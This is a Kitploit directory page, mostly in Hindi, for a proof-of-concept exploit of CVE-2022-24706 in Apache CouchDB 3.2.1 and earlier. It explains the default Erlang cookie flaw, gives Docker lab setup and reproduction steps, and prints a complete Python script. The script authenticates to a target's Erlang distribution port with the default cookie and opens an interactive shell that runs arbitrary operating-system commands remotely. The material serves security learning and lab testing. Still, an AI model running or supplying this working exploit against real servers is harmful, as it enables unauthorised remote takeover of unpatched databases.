Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2022-24706 — CVE-2022-24706 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट जो Apache CouchDB 3.2.1 और उससे नीचे के संस्करणों को लक्षित करता है। डिफ़ॉल्ट कुकी प्रमाणीकरण का उपयोग करके Erlang Distribution Protocol के माध्यम से दूरस्थ कमांड निष्पादन प्रदर्शित करता है। | Kitploit
उपकरण/GitHubGitHub/junghyeonkum/cve-2022-24706
भेद्यता विश्लेषणशोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षारिमोट एक्सेस टूलडेटाबेस सुरक्षा
GitHubjunghyeonkum/cve-2022-24706

CVE-2022-24706

CVE-2022-24706 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट जो Apache CouchDB 3.2.1 और उससे नीचे के संस्करणों को लक्षित करता है। डिफ़ॉल्ट कुकी प्रमाणीकरण का उपयोग करके Erlang Distribution Protocol के माध्यम से दूरस्थ कमांड निष्पादन प्रदर्शित करता है।

रिपॉजिटरी देखें
222 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2022-24706

योगदानकर्ता

  • व्हाइट हैट स्कूल चौथी पीढ़ी, 39वीं कक्षा 금정현(@junghyeonkum)

CouchDB Erlang Distribution रिमोट कमांड एक्ज़ीक्यूशन भेद्यता (CVE-2022-24706)

सारांश

Apache CouchDB एक ओपन-सोर्स दस्तावेज़-उन्मुख (Document-Oriented) NoSQL डेटाबेस है जो Erlang में लागू किया गया है।

Apache CouchDB को Erlang में विकसित किया गया है, इसलिए यह डिफ़ॉल्ट रूप से वितरित कंप्यूटिंग (क्लस्टरिंग) सुविधा का समर्थन करता है। क्लस्टर नोड Erlang/OTP Distribution Protocol का उपयोग करके एक दूसरे के साथ संचार करते हैं, और इस प्रोटोकॉल के माध्यम से CouchDB चलाने वाले उपयोगकर्ता की अनुमति से ऑपरेटिंग सिस्टम (OS) कमांड को निष्पादित किया जा सकता है।

ऑपरेटिंग सिस्टम कमांड निष्पादित करने के लिए, आपको Erlang में कुकी (Cookie) कही जाने वाली प्रमाणीकरण स्ट्रिंग (गुप्त वाक्यांश) पता होना चाहिए। CouchDB 3.2.1 और उससे पहले के संस्करणों में, स्थापना के समय डिफ़ॉल्ट कुकी मान monster पर सेट होता है, और इस मान को जानने वाला हमलावर प्रमाणीकरण पार कर सकता है और दूरस्थ रूप से ऑपरेटिंग सिस्टम कमांड निष्पादित कर सकता है।

संदर्भ सामग्री:

  • https://docs.couchdb.org/en/3.2.2-docs/cve/2022-24706.html
  • https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/
  • https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/multi/misc/erlang_cookie_rce.rb
  • https://github.com/sadshade/CVE-2022-24706-CouchDB-Exploit

पर्यावरण आवश्यकताएँ

इस अभ्यास को करने के लिए निम्नलिखित वातावरण की आवश्यकता है।

  • Docker और Docker Compose स्थापित होना चाहिए।
  • PoC चलाने के लिए Python 3 स्थापित होना चाहिए।

Apple Silicon (M1/M2/M3) आधारित macOS पर, इमेज प्लेटफ़ॉर्म से संबंधित चेतावनी प्रदर्शित हो सकती है। अधिकांश मामलों में, Docker Desktop amd64 इमेज को स्वचालित रूप से एमुलेट करके चलाता है, इसलिए किसी अलग कार्रवाई की आवश्यकता नहीं है। यदि कंटेनर सामान्य रूप से नहीं चलता है, तो आप docker-compose.yml में couchdb सेवा में platform: linux/amd64 विकल्प जोड़कर इसे चला सकते हैं।

Python 3 स्थापित नहीं है, तो आप नीचे दिए गए कमांड के माध्यम से इसे स्थापित कर सकते हैं।

sudo apt update
sudo apt install -y python3

वातावरण सेटअप

Apache CouchDB 3.2.1 वातावरण चलाने के लिए निम्नलिखित कमांड निष्पादित करें।

docker compose up -d

सेवा चलने पर, target-ip पर निम्नलिखित 3 पोर्ट खुलेंगे।

  • 5984: Apache CouchDB वेब इंटरफ़ेस
  • 4369: Erlang Port Mapper Daemon (EPMD)
  • 9100: क्लस्टर संचार और रनटाइम प्रबंधन पोर्ट (वास्तविक कमांड इस पोर्ट के माध्यम से निष्पादित की जाती है।)

वास्तविक वातावरण में, वेब इंटरफ़ेस पोर्ट (5984) और EPMD सेवा पोर्ट (4369) निश्चित होते हैं, लेकिन क्लस्टर संचार पोर्ट हर बार चलाने पर बदल सकता है। इसलिए, आप EPMD सेवा तक पहुँचकर वर्तमान में उपयोग में आ रहे क्लस्टर संचार पोर्ट नंबर की पुष्टि कर सकते हैं।

Apache CouchDB सामान्य रूप से चलने पर, आप http://target-ip:5984 पर संस्करण जानकारी देख सकते हैं।

भेद्यता की स्थितियाँ

यह भेद्यता निम्नलिखित शर्तों को पूरा करने पर उत्पन्न होती है:

  • Apache CouchDB 3.2.1 या उससे पहले का संस्करण चल रहा हो।
  • Erlang Distribution सुविधा सक्रिय होनी चाहिए।
  • Erlang कुकी डिफ़ॉल्ट मान (monster) पर सेट होनी चाहिए।
  • Erlang Distribution सेवा (EPMD) तक पहुँच संभव होनी चाहिए।

पुनरुत्पादन प्रक्रिया

  1. कमजोर Apache CouchDB वातावरण चलाने के लिए निम्नलिखित कमांड निष्पादित करें।
docker compose up -d
  1. EPMD सेवा (4369) चल रही हो, तो नीचे दिए गए कमांड को निष्पादित करके PoC चलाएँ।
python3 poc.py target-ip 4369
  1. PoC EPMD सेवा से वर्तमान में उपयोग में आने वाले क्लस्टर संचार पोर्ट नंबर को प्राप्त करता है, फिर डिफ़ॉल्ट कुकी (monster) का उपयोग करके Erlang Distribution Protocol प्रमाणीकरण करता है।

  2. प्रमाणीकरण पूरा होने पर, आप वांछित ऑपरेटिंग सिस्टम कमांड दर्ज करके दूरस्थ कमांड निष्पादन की पुष्टि कर सकते हैं।

PoC कोड

#!/usr/local/bin/python3

# Python 기본 라이브러리
import socket
from hashlib import md5
import struct
import sys
import re
import time

# 대상 서버 및 기본 설정
TARGET = sys.argv[1]
EPMD_PORT = int(sys.argv[2]) # EPMD 기본 포트
COOKIE = "monster" # CouchDB 기본 Erlang Cookie 
ERLNAG_PORT = 0
EPM_NAME_CMD = b"\x00\x01\x6e" # Erlang 노드 목록 요청 패킷

# Erlang 인증 및 제어 메시지
NAME_MSG  = b"\x00\x15n\x00\x05\x00\x07\x49\x9cAAAAAA@AAAAAAA"
CHALLENGE_REPLY = b"\x00\x15r\x01\x02\x03\x04"
CTRL_DATA  = b"\x83h\x04a\x06gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03"
CTRL_DATA += b"\x00\x00\x00\x00\x00w\x00w\x03rex"

# 사용자가 입력한 명령을 Erlang RPC 패킷으로 변환
def compile_cmd(CMD):
    MSG  = b"\x83h\x02gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03\x00\x00\x00"
    MSG += b"\x00\x00h\x05w\x04callw\x02osw\x03cmdl\x00\x00\x00\x01k"
    MSG += struct.pack(">H", len(CMD))
    MSG += bytes(CMD, 'ascii')
    MSG += b'jw\x04user'
    PAYLOAD = b'\x70' + CTRL_DATA + MSG
    PAYLOAD = struct.pack('!I', len(PAYLOAD)) + PAYLOAD
    return PAYLOAD

print("Remote Command Execution via Erlang Distribution Protocol.\n")

# EPMD 서버에 접속하여 Erlang 노드 정보 획득
try:
    epm_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    epm_socket.connect((TARGET, EPMD_PORT))
except socket.error as msg:
    print("Couldnt connect to EPMD: %s\n terminating program" % msg)
    sys.exit(1)
    
# Erlang 노드 목록 요청
epm_socket.send(EPM_NAME_CMD) 

# 정상 응답이면 노드 정보를 가져옴
if epm_socket.recv(4) == b'\x00\x00\x11\x11': 
    data = epm_socket.recv(1024)
    data = data[0:len(data) - 1].decode('ascii')
    data = data.split("\n")
    if len(data) == 1:
        choise = 1
        print("Found " + data[0])
    else:
        print("\nMore than one node found, choose which one to use:")
        line_number = 0
        for line in data:
            line_number += 1
            print(" %d) %s" %(line_number, line))
        choise = int(input("\n> "))
        
    ERLNAG_PORT = int(re.search(r"\d+$",data[choise - 1])[0])
else:
    print("Node list request error, exiting")
    sys.exit(1)
epm_socket.close()

# Erlang 노드에 접속
try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((TARGET, ERLNAG_PORT))
except socket.error as msg:
    print("Couldnt connect to Erlang server: %s\n terminating program" % msg)
    sys.exit(1)
   
# Challenge 값 수신
s.send(NAME_MSG)
s.recv(5)
challenge = s.recv(1024)     
print(challenge)
challenge = struct.unpack(">I", challenge[9:13])[0]


# Challenge 값을 이용하여 인증 정보 생성
CHALLENGE_REPLY += md5(bytes(COOKIE, "ascii")
    + bytes(str(challenge), "ascii")).digest()

# 인증 요청
s.send(CHALLENGE_REPLY)
CHALLENGE_RESPONSE = s.recv(1024)

# 인증 성공 여부 확인
if len(CHALLENGE_RESPONSE) == 0:
    print("Authentication failed, exiting")
    sys.exit(1)

print("Authentication successful")
print("Enter command:\n")

data_size = 0

# 사용자 명령을 입력받아 원격 CouchDB 노드에서 실행
while True:
    if data_size <= 0:
        CMD = input("> ")
        if not CMD:
            continue
        elif CMD == "exit":
            sys.exit(0)
        s.send(compile_cmd(CMD))
        data_size = struct.unpack(">I", s.recv(4))[0] 
        s.recv(45)              
        data_size -= 45         
        time.sleep(0.1)
    elif data_size < 1024:        
        data = s.recv(data_size)
        time.sleep(0.1)
        print(data[3:].decode())
        data_size = 0
    else:        
        data = s.recv(1024)
        time.sleep(0.1)
        print(data[4:].decode())
        data_size -= 1024

निष्पादन परिणाम

PoC चलाने के परिणामस्वरूप, EPMD सेवा के माध्यम से क्लस्टर संचार पोर्ट सामान्य रूप से पुष्टि की गई और Authentication successful संदेश के माध्यम से Erlang Distribution Protocol प्रमाणीकरण सफल हुआ।

टूल डाउनलोड करें